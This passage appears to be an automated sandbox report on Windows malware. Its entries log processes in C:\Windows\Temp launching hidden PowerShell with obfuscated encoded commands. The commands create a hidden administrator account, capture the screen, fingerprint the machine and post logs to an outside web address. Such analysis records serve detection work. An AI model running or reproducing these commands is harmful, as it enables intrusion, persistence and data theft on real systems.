ahuasqbuagyabwagad0aiabhaguadaatafcabqbpae8aygbqaguaywb0acaalqbdagwayqbzahmaiabxagkabgazadiaxwbqahiabwbjaguacwbzag8acgakacqaywbwahuarablahqayqbpagwacwagad0aiaaiafaacgbvagmazqbzahmabwbyaekazaa6acaajaaoacqaywbwahuasqbuagyabwauafaacgbvagmazqbzahmabwbyaekazaapacwaiaboageabqbladoaiaakacgajabjahaadqbjag4azgbvac4atgbhag0azqapacwaiabnageaeabdagwabwbjagsauwbwaguazqbkadoaiaakacgajabjahaadqbjag4azgbvac4atqbhahgaqwbsag8aywbrafmacablaguazaapacwaiabvag4aaqbxahuazqbjagqaogagacqakaakagmacab1aekabgbmag8algbvag4aaqbxahuazqbjagqakqaiaaoajabhagwababjag4azgbvacaapqagaciajabjag8abqbiagkabgblagqasqbuagyabwbgahiayabuacqaywbwahuarablahqayqbpagwacwaiaaoajabtagqanqagad0aiaboaguadwatae8aygbqaguaywb0acaauwb5ahmadablag0algbtaguaywb1ahiaaqb0ahkalgbdahiaeqbwahqabwbnahiayqbwaggaeqauae0araa1aemacgb5ahaadabvafmazqbyahyaaqbjaguauabyag8adgbpagqazqbyaaoajabiahkadablahmaiaa9acaawwbtahkacwb0aguabqauafqazqb4ahqalgbfag4aywbvagqaaqbuagcaxqa6adoavqbuaeyaoaauaecazqb0aeiaeqb0aguacwaoacqayqbsagwasqbuagyabwapaaoajaboageacwboaeiaeqb0aguacwagad0aiaakag0azaa1ac4aqwbvag0acab1ahqazqbiageacwboacgajabiahkadablahmakqakacqaaabhahmaaaagad0aiabbaeiaaqb0aemabwbuahyazqbyahqazqbyaf0aoga6afqabwbtahqacgbpag4azwaoacqaaabhahmaaabcahkadablahmakqagac0acgblahaababhagmazqagaccalqanaaoaiaagacaaiabyaguadab1ahiabgagacqaaabhahmaaaa7aaoafqakagmazaagaciaqwa6afwavwbpag4azabvahcacwbcafqazqbtahaaiga7aaoajab0aguacwb0acaapqagaecazqb0ac0asqbkaguabgb0agkadab5adsacgakahqazqbzahqaiab8acaatwb1ahqalqbgagkabablacaalqbgagkabablafaayqb0aggaiaaiagqazqb2agkaywblaekazaauahqaeab0aciaiaataeuabgbjag8azabpag4azwagafuavabgadga
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -nologo -noprofile -windowstyle hidden -executionpolicy bypass -encodedcommand jabvahmazqbyag4ayqbtaguaiaa9acaaigbvahmazqbyadeaiga7acqacab3agqaiaa9acaaigaxadiamwa0aduanga3adgaoqahaeeamqbhaciaowagacqavqbzaguacgbqageacgbhag0acwagad0aiabaahsajwboageabqblaccaiaa9acaajabvahmazqbyag4ayqbtaguaowagaccauabhahmacwb3ag8acgbkaccaiaa9acaakabdag8abgb2aguacgb0afqabwatafmazqbjahuacgblafmadabyagkabgbnacaalqbtahqacgbpag4azwagacqacab3agqaiaataeeacwbqagwayqbpag4avablahgadaagac0argbvahiaywblackaowagaccauabhahmacwb3ag8acgbkae4azqb2aguacgbfahgacabpahiazqbzaccaiaa9acaajab0ahiadqblah0aowboaguadwataewabwbjageababvahmazqbyacaaqabvahmazqbyafaayqbyageabqbzadsajabhahiabwb1ahaauabhahiayqbtahmaiaa9acaaqab7accarwbyag8adqbwaccaiaa9acaajwbbagqabqbpag4aaqbzahqacgbhahqabwbyahmajwa7acaajwbnaguabqbiaguacganacaapqagacqavqbzaguacgbuageabqblah0aowbbagqazaataewabwbjageababhahiabwb1ahaatqblag0aygblahiaiabaaecacgbvahuacabqageacgbhag0acwa7aa0acga=
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\System32\cmd.exe /c powershell.exe -w hidden -nologo -nop -ep bypass -encodedcommand qqbkagqalqbuahkacablacaalqbbahmacwblag0aygbsahkatgbhag0azqagafmaeqbzahqazqbtac4avwbpag4azabvahcacwauaeyabwbyag0acwa7acaawwbtahkacwb0aguabqauafcaaqbuagqabwb3ahmalgbgag8acgbtahmalgbtagmacgblaguabgbdadoaogbbagwababtagmacgblaguabgbzacaafaagaeyabwbyaeuayqbjaggalqbpagiaagblagmadaagahsaiaaiacqakaakaf8algbcag8adqbuagqacwauafcaaqbkahqaaaapahgajaaoacqaxwauaeiabwb1ag4azabzac4asablagkazwboahqakqaiacaafqagahwaiabpahuadaataeyaaqbsaguaiaataeyaaqbsaguauabhahqaaaagaciaqwa6afwavwbpag4azabvahcacwbcafqazqbtahaaxabkahaaiga=
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden -nologo -nop -ep bypass -encodedcommand qqbkagqalqbuahkacablacaalqbbahmacwblag0aygbsahkatgbhag0azqagafmaeqbzahqazqbtac4avwbpag4azabvahcacwauaeyabwbyag0acwa7acaawwbtahkacwb0aguabqauafcaaqbuagqabwb3ahmalgbgag8acgbtahmalgbtagmacgblaguabgbdadoaogbbagwababtagmacgblaguabgbzacaafaagaeyabwbyaeuayqbjaggalqbpagiaagblagmadaagahsaiaaiacqakaakaf8algbcag8adqbuagqacwauafcaaqbkahqaaaapahgajaaoacqaxwauaeiabwb1ag4azabzac4asablagkazwboahqakqaiacaafqagahwaiabpahuadaataeyaaqbsaguaiaataeyaaqbsaguauabhahqaaaagaciaqwa6afwavwbpag4azabvahcacwbcafqazqbtahaaxabkahaaiga=
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -encodedcommand "uwb0ageacgb0ac0auabyag8aywblahmacwagahaabwb3aguacgbzaggazqbsagwaiaatafcaaqbuagqabwb3afmadab5agwazqagaggaaqbkagqazqbuacaalqbbahiazwb1ag0azqbuahqatabpahmadaagacialqbxagkabgbkag8adwbtahqaeqbsaguaiabiagkazabkaguabgaiacwaiaaiac0atgbvaewabwbnag8aigasacaaigatae4abwbqahiabwbmagkabablacialaagacialqbfahgazqbjahuadabpag8abgbqag8ababpagmaeqagaeiaeqbwageacwbzacialaagacialqbfag4aywbvagqazqbkaemabwbtag0ayqbuagqaiabtafeaqgbgaeeargbnaeeasqbbaeeabwbbaeyacwbbafyaqqbcaeyaqqbgagcaqqbwaeeaqqb1aeearqbvaeeavabnaeiarabbaeuaoabbafoaqqbcahaaqqbhadqaqqbsahcaqgbkaeearabvaeeatwbnaeiavgbbaeyauqbbafiazwbbadqaqqbdadqaqqbsahcaqgbgaeeasabraeeavqb3aeiavqbbaegasqbbafmauqbcae8aqqbfagmaqqblaeeaqqbvaeearqbraeeavgb3aeiaeqbbaemaqqbbaesaqqbcagiaqqbgae0aqqblafeaqgb6aeeasabraeeawgbraeiadabbaemanabbafyaqqbcagwaqqbiagcaqqbkaeeaqqb1aeearqbvaeeaygbnaeiaagbbaecaoabbafoaqqbcahaaqqbhadqaqqbaahcaqgbkaeearabvaeeatwbnaeiavgbbaeyauqbbafiazwbbadqaqqbdadqaqqbsahcaqgbsaeeasabraeeavqb3aeiamabbaegasqbbageauqbcahuaqqbhagmaqqblaeeaqgbiaeearqbnaeeaygb3aeiadqbbaegawqbbafoauqbcahkaqqbiafeaqqbyafeaqqa2aeearabvaeeaugbnaeiaeqbbaecaoabbagiauqbcaemaqqbhaeuaqqbjahcaqgbsaeearabzaeeatgbbaeiavabbaegauqbbagmazwbcahaaqqbhadqaqqbaahcaqqbvaeeaqwbjaeeawqbraeiasqbbaeyasqbbae0aqqbcagoaqqbfagcaqqbuafeaqqayaeearqb3aeeazqbraeeanqbbaecabwbbafkazwbbahkaqqbfadqaqqbkagcaqgbpaeeargbjaeeavgbnaeeadwbbaecarqbbafiadwbbaduaqqbhahmaqqbxagcaqgbuaeearabvaeeayqb3aeiayqbbaeyatqbbae8auqbcaggaqqbgag8aqqbrafeaqqa5aeearaawaeeasqbnaeeacabbaemaawbbaesauqbbahaaqqbdadqaqqbrahcaqgbqaeearqa0aeeazabbaeiargbbaeuanabbagqaqqbbahaaqqbdagsaqqaiaa=="	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -nologo -noprofile -executionpolicy bypass -encodedcommand sqbfafgaiaaoafsavabfafgavaauaeuatgbdae8azabpag4arwbdadoaogbvafqarga4ac4arwbfahqauwbuahiasqboaecakaaoaekavwbyacaakabbafmaeqbzahqazqbtac4avablahgadaauaeuabgbjag8azabpag4azwbdadoaogbvafqarga4ac4arwblahqauwb0ahiaaqbuagcakabbaemabwbuahyazqbyahqaxqa6adoargbyag8abqbcageacwbladyanabtahqacgbpag4azwaoaciayqbiafiamabjaegatqa2aewaeqa5agoaygayae4adgbiafcavgawagearwa5agsawgbtaduaawbaafmaoqbhafoaqqa9ad0aigapackakqapac4aqwbpae4adabfae4adaapacka	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c start /min "" powershell.exe -windowstyle hidden -nologo -noprofile -executionpolicy bypass -encodedcommand jab1ahiaaqagad0aiaaiaggadab0ahaacwa6ac8alwbjag8aywbvag0azqb0aggabwbkagualgbkagualwbmagkababladialwa4ageaoaa0agmamwa2adaaoqazadiamwbkaguangbjagqaoqbjadianqbhadeaoaa1adeazaawagqaywbkadgayqayagyamwbiadaaoqa3adcangbiagyaoabladcazaa0agqanga0adaamgbhadyanwayadaaywaxageazabkadgaoqbhadiamwbkaduazqbkadeamgbladaanqbjagyamgbmaduamwbkadcaygawadeanqbladcangbiagqanqbiadgamgayadmaoqa5adganwbjadaanaa5agqazqbmagiaoqbiaguanwa3adcanqbmadaayga1adaazqaxadmamabkadgazabiaguazabladqanqa4adgayqawadyazqawagiaygawaduanga4agiaywa5agqaywa1ageaoqa1adkamaa1adgazaaxagiaoqa4adcamwayagiayga4agqayqa0agmamaa3agqaygbiaduanga3agyaoqazagyamwa3adaangbkagqangayagyazaayadeazga1aguayqbladeanwayagqanqawadiangbjagqazaa1adianwa5agyaiga7aa0acgakagmabwb1ag4adaagad0aiaaxadaamaa7aa0acganaaoadqakaa0acgbmahuabgbjahqaaqbvag4aiabtaguabgbkacaaewanaaoaiaagacaaiabwageacgbhag0akaagafsauabtae8aygbqaguaywb0af0aiaakagwabwbnae0acwbnacaakqanaaoadqakacaaiaagacaaiwagaemabwbuahyazqbyahqaiabiag8azab5acaadabvacaacwb0ahiaaqbuagcadqakacaaiaagacaajabzahqacgbpag4azwbcag8azab5acaapqagafsacwb0ahiaaqbuagcaxqaoacqababvagcatqbzagcaiab8acaaqwbvag4adgblahiadabuag8alqbkahmabwbuackaowanaaoaiaagacaaiaakagwabwbnae0azqbzahmayqbnaguacwagad0aiabaacgakqa7aa0acgagacaaiaagacqababvagcatqblahmacwbhagcazqbzacaakwa9acaajabzahqacgbpag4azwbcag8azab5adsadqakacaaiaagacaajabsag8azwbnaguacwbzageazwblahmaiaarad0aiaaiac0alqatac0alqatac0alqatac0aiga7aa0acganaaoaiaagacaaiaakaggazqbhagqazqbyahmaiaa9acaaqab7ah0aowanaaoaiaagacaaiaakagsazqb5acaapqagaciaqwbvag4adablag4adaatafqaeqbwaguaiga7aa0acgagacaaiaagacqadgbhagwadqblacaapqagaciayqbwahaababpagmayqb0agkabwbuac8aagbzag8abgaiadsadqakaa0acgagacaaiaagacqaaablageazablahiacwbbacqaawblahkaxqagad0aiaakahyayqbsahuazqa7aa0acgagacaaiaagacqadqbyagkaiaa9acaaigbmae8arwbvafiataaiadsadqakacaaiaagacaadabyahkadqakacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaakagiabwbkahkaiaa9acaajabsag8azwbnaguacwbzageazwblahmaiab8acaaqwbvag4adgblahiadabuag8alqbkahmabwbuadsadqakacaaiaagacaaiaagacaaiaagacaaiaagaekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbyagkaiaakahuacgbpacaalqbnaguadaboag8azaagafaabwbzahqaiaataegazqbhagqazqbyahmaiaakaggazqbhagqazqbyahmaiaataeiabwbkahkaiaakagiabwbkahkadqakacaaiaagacaaiaagacaaiab9aa0acgagacaaiaagacaaiaagacaaywbhahqaywboahsadqakacaaiaagacaaiaagacaaiaagacaaiaagaa0acgagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaanaaoafqanaaoadqakahcaaabpagwazqaoacqaywbvahuabgb0acaalqbnahqaiaawackadqakahsadqakaakadqakaakadabyahkaewanaaoaiaagacaaiaagacaaiaagafmazqbuagqaiaaiagiazqbnagkabgagagqabwb3ag4ababvageazaagacqadqbyagkaiga7aa0acgajaakajabjag8abgb0aguabgb0acaapqagaekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbyagkaiaakahuacgbpacaalqbvahmazqbcageacwbpagmauabhahiacwbpag4azwa7aa0acgagacaaiaagacaaiaagacaajabiahkadablaeeacgbyageaeqagad0aiaakagmabwbuahqazqbuahqalgbjag8abgb0aguabgb0adsadqakacaaiaagacaaiaagacaaiabmag8acgagacgajabpac	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -nologo -noprofile -executionpolicy bypass -encodedcommand jab1ahiaaqagad0aiaaiaggadab0ahaacwa6ac8alwbjag8aywbvag0azqb0aggabwbkagualgbkagualwbmagkababladialwa4ageaoaa0agmamwa2adaaoqazadiamwbkaguangbjagqaoqbjadianqbhadeaoaa1adeazaawagqaywbkadgayqayagyamwbiadaaoqa3adcangbiagyaoabladcazaa0agqanga0adaamgbhadyanwayadaaywaxageazabkadgaoqbhadiamwbkaduazqbkadeamgbladaanqbjagyamgbmaduamwbkadcaygawadeanqbladcangbiagqanqbiadgamgayadmaoqa5adganwbjadaanaa5agqazqbmagiaoqbiaguanwa3adcanqbmadaayga1adaazqaxadmamabkadgazabiaguazabladqanqa4adgayqawadyazqawagiaygawaduanga4agiaywa5agqaywa1ageaoqa1adkamaa1adgazaaxagiaoqa4adcamwayagiayga4agqayqa0agmamaa3agqaygbiaduanga3agyaoqazagyamwa3adaangbkagqangayagyazaayadeazga1aguayqbladeanwayagqanqawadiangbjagqazaa1adianwa5agyaiga7aa0acgakagmabwb1ag4adaagad0aiaaxadaamaa7aa0acganaaoadqakaa0acgbmahuabgbjahqaaqbvag4aiabtaguabgbkacaaewanaaoaiaagacaaiabwageacgbhag0akaagafsauabtae8aygbqaguaywb0af0aiaakagwabwbnae0acwbnacaakqanaaoadqakacaaiaagacaaiwagaemabwbuahyazqbyahqaiabiag8azab5acaadabvacaacwb0ahiaaqbuagcadqakacaaiaagacaajabzahqacgbpag4azwbcag8azab5acaapqagafsacwb0ahiaaqbuagcaxqaoacqababvagcatqbzagcaiab8acaaqwbvag4adgblahiadabuag8alqbkahmabwbuackaowanaaoaiaagacaaiaakagwabwbnae0azqbzahmayqbnaguacwagad0aiabaacgakqa7aa0acgagacaaiaagacqababvagcatqblahmacwbhagcazqbzacaakwa9acaajabzahqacgbpag4azwbcag8azab5adsadqakacaaiaagacaajabsag8azwbnaguacwbzageazwblahmaiaarad0aiaaiac0alqatac0alqatac0alqatac0aiga7aa0acganaaoaiaagacaaiaakaggazqbhagqazqbyahmaiaa9acaaqab7ah0aowanaaoaiaagacaaiaakagsazqb5acaapqagaciaqwbvag4adablag4adaatafqaeqbwaguaiga7aa0acgagacaaiaagacqadgbhagwadqblacaapqagaciayqbwahaababpagmayqb0agkabwbuac8aagbzag8abgaiadsadqakaa0acgagacaaiaagacqaaablageazablahiacwbbacqaawblahkaxqagad0aiaakahyayqbsahuazqa7aa0acgagacaaiaagacqadqbyagkaiaa9acaaigbmae8arwbvafiataaiadsadqakacaaiaagacaadabyahkadqakacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaakagiabwbkahkaiaa9acaajabsag8azwbnaguacwbzageazwblahmaiab8acaaqwbvag4adgblahiadabuag8alqbkahmabwbuadsadqakacaaiaagacaaiaagacaaiaagacaaiaagaekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbyagkaiaakahuacgbpacaalqbnaguadaboag8azaagafaabwbzahqaiaataegazqbhagqazqbyahmaiaakaggazqbhagqazqbyahmaiaataeiabwbkahkaiaakagiabwbkahkadqakacaaiaagacaaiaagacaaiab9aa0acgagacaaiaagacaaiaagacaaywbhahqaywboahsadqakacaaiaagacaaiaagacaaiaagacaaiaagaa0acgagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaanaaoafqanaaoadqakahcaaabpagwazqaoacqaywbvahuabgb0acaalqbnahqaiaawackadqakahsadqakaakadqakaakadabyahkaewanaaoaiaagacaaiaagacaaiaagafmazqbuagqaiaaiagiazqbnagkabgagagqabwb3ag4ababvageazaagacqadqbyagkaiga7aa0acgajaakajabjag8abgb0aguabgb0acaapqagaekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbyagkaiaakahuacgbpacaalqbvahmazqbcageacwbpagmauabhahiacwbpag4azwa7aa0acgagacaaiaagacaaiaagacaajabiahkadablaeeacgbyageaeqagad0aiaakagmabwbuahqazqbuahqalgbjag8abgb0aguabgb0adsadqakacaaiaagacaaiaagacaaiabmag8acgagacgajabpacaapqagadaaowagac
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -nologo -noprofile -windowstyle hidden -executionpolicy bypass -encodedcommand zgb1ag4aywb0agkabwbuacaarwblahqalqbjagqazqbuahqaaqb0ahkaewakacaaiaagacaajaboageacgbkaeqacgbpahyazqbzacaapqagaecazqb0ac0avwbtagkatwbiagoazqbjahqaiaataemababhahmacwagafcaaqbuadmamgbfaeqaaqbzagsarabyagkadgblacaafaagafcaaablahiazqatae8aygbqaguaywb0acaaewagacqaxwauae0azqbkagkayqbuahkacablacaalqblaheaiaaiaeyaaqb4aguazaagaggayqbyagqaiabkagkacwbracaabqblagqaaqbhaciaiaatag8acgagacqaxwauae0azqbkagkayqbuahkacablacaalqblaheaiaaiaeyaaqb4aguazaagaggayqbyagqaiabkagkacwbracaabqblagqaaqbhacaalqagafmauwbeaciaiab9aaoajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaa9acaaqaaoackacgbmag8acgblageaywboacaakaakaggayqbyagqarabyagkadgblacaaaqbuacaajaboageacgbkaeqacgbpahyazqbzackaiab7aaoaiaagacaaiaakahmazqbyagkayqbsae4adqbtagiazqbyacaapqagacqaaabhahiazabeahiaaqb2agualgbtaguacgbpageababoahuabqbiaguacgakacaaiaagacaajabtag8azablagwaiaa9acaajaboageacgbkaeqacgbpahyazqauae0abwbkaguabaakacaaiaagacaajabkahiaaqb2aguasqbuagyabwagad0aiaaiafmazqbyagkayqbsacaatgb1ag0aygblahiaogagacqacwblahiaaqbhagwatgb1ag0aygblahialaagae0abwbkaguabaa6acaajabtag8azablagwaigakacaaiaagacaajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaarad0aiaakagqacgbpahyazqbjag4azgbvaaoafqakacqaywbvag0aygbpag4azqbkaekabgbmag8aiaa9acaajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaatagoabwbpag4aiaaiagaacgbgag4aigakacqaywbwahuasqbuagyabwagad0aiabhaguadaatafcabqbpae8aygbqaguaywb0acaalqbdagwayqbzahmaiabxagkabgazadiaxwbqahiabwbjaguacwbzag8acgakacqaywbwahuarablahqayqbpagwacwagad0aiaaiafaacgbvagmazqbzahmabwbyaekazaa6acaajaaoacqaywbwahuasqbuagyabwauafaacgbvagmazqbzahmabwbyaekazaapacwaiaboageabqbladoaiaakacgajabjahaadqbjag4azgbvac4atgbhag0azqapacwaiabnageaeabdagwabwbjagsauwbwaguazqbkadoaiaakacgajabjahaadqbjag4azgbvac4atqbhahgaqwbsag8aywbrafmacablaguazaapacwaiabvag4aaqbxahuazqbjagqaogagacqakaakagmacab1aekabgbmag8algbvag4aaqbxahuazqbjagqakqaiaaoajabhagwababjag4azgbvacaapqagaciajabjag8abqbiagkabgblagqasqbuagyabwbgahiayabuacqaywbwahuarablahqayqbpagwacwaiaaoajabtagqanqagad0aiaboaguadwatae8aygbqaguaywb0acaauwb5ahmadablag0algbtaguaywb1ahiaaqb0ahkalgbdahiaeqbwahqabwbnahiayqbwaggaeqauae0araa1aemacgb5ahaadabvafmazqbyahyaaqbjaguauabyag8adgbpagqazqbyaaoajabiahkadablahmaiaa9acaawwbtahkacwb0aguabqauafqazqb4ahqalgbfag4aywbvagqaaqbuagcaxqa6adoavqbuaeyaoaauaecazqb0aeiaeqb0aguacwaoacqayqbsagwasqbuagyabwapaaoajaboageacwboaeiaeqb0aguacwagad0aiaakag0azaa1ac4aqwbvag0acab1ahqazqbiageacwboacgajabiahkadablahmakqakacqaaabhahmaaaagad0aiabbaeiaaqb0aemabwbuahyazqbyahqazqbyaf0aoga6afqabwbtahqacgbpag4azwaoacqaaabhahmaaabcahkadablahmakqagac0acgblahaababhagmazqagaccalqanaaoaiaagacaaiabyaguadab1ahiabgagacqaaabhahmaaaa7aaoafqakagmazaagaciaqwa6afwavwbpag4azabvahcacwbcafqazqbtahaaiga7aaoajab0aguacwb0acaapqagaecazqb0ac0asqbkaguabgb0agkadab5adsacgakahqazqbzahqaiab8acaatwb1ahqalqbgagkabablacaalqbgagkabablafaayqb0aggaiaaiagqazqb2agkaywblaekazaauahqaeab0aciaiaataeuabgbjag8azabpag4azwagafuavabgadga
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -nologo -noprofile -windowstyle hidden -executionpolicy bypass -encodedcommand jabvahmazqbyag4ayqbtaguaiaa9acaaigbvahmazqbyadeaiga7acqacab3agqaiaa9acaaigaxadiamwa0aduanga3adgaoqahaeeamqbhaciaowagacqavqbzaguacgbqageacgbhag0acwagad0aiabaahsajwboageabqblaccaiaa9acaajabvahmazqbyag4ayqbtaguaowagaccauabhahmacwb3ag8acgbkaccaiaa9acaakabdag8abgb2aguacgb0afqabwatafmazqbjahuacgblafmadabyagkabgbnacaalqbtahqacgbpag4azwagacqacab3agqaiaataeeacwbqagwayqbpag4avablahgadaagac0argbvahiaywblackaowagaccauabhahmacwb3ag8acgbkae4azqb2aguacgbfahgacabpahiazqbzaccaiaa9acaajab0ahiadqblah0aowboaguadwataewabwbjageababvahmazqbyacaaqabvahmazqbyafaayqbyageabqbzadsajabhahiabwb1ahaauabhahiayqbtahmaiaa9acaaqab7accarwbyag8adqbwaccaiaa9acaajwbbagqabqbpag4aaqbzahqacgbhahqabwbyahmajwa7acaajwbnaguabqbiaguacganacaapqagacqavqbzaguacgbuageabqblah0aowbbagqazaataewabwbjageababhahiabwb1ahaatqblag0aygblahiaiabaaecacgbvahuacabqageacgbhag0acwa7aa0acga=
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\System32\cmd.exe /c powershell.exe -w hidden -nologo -nop -ep bypass -encodedcommand qqbkagqalqbuahkacablacaalqbbahmacwblag0aygbsahkatgbhag0azqagafmaeqbzahqazqbtac4avwbpag4azabvahcacwauaeyabwbyag0acwa7acaawwbtahkacwb0aguabqauafcaaqbuagqabwb3ahmalgbgag8acgbtahmalgbtagmacgblaguabgbdadoaogbbagwababtagmacgblaguabgbzacaafaagaeyabwbyaeuayqbjaggalqbpagiaagblagmadaagahsaiaaiacqakaakaf8algbcag8adqbuagqacwauafcaaqbkahqaaaapahgajaaoacqaxwauaeiabwb1ag4azabzac4asablagkazwboahqakqaiacaafqagahwaiabpahuadaataeyaaqbsaguaiaataeyaaqbsaguauabhahqaaaagaciaqwa6afwavwbpag4azabvahcacwbcafqazqbtahaaxabkahaaiga=
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden -nologo -nop -ep bypass -encodedcommand qqbkagqalqbuahkacablacaalqbbahmacwblag0aygbsahkatgbhag0azqagafmaeqbzahqazqbtac4avwbpag4azabvahcacwauaeyabwbyag0acwa7acaawwbtahkacwb0aguabqauafcaaqbuagqabwb3ahmalgbgag8acgbtahmalgbtagmacgblaguabgbdadoaogbbagwababtagmacgblaguabgbzacaafaagaeyabwbyaeuayqbjaggalqbpagiaagblagmadaagahsaiaaiacqakaakaf8algbcag8adqbuagqacwauafcaaqbkahqaaaapahgajaaoacqaxwauaeiabwb1ag4azabzac4asablagkazwboahqakqaiacaafqagahwaiabpahuadaataeyaaqbsaguaiaataeyaaqbsaguauabhahqaaaagaciaqwa6afwavwbpag4azabvahcacwbcafqazqbtahaaxabkahaaiga=

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC\Microsoft.mshtml\7.0.3300.0__b03f5f7f11d50a3a\Microsoft.mshtml.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
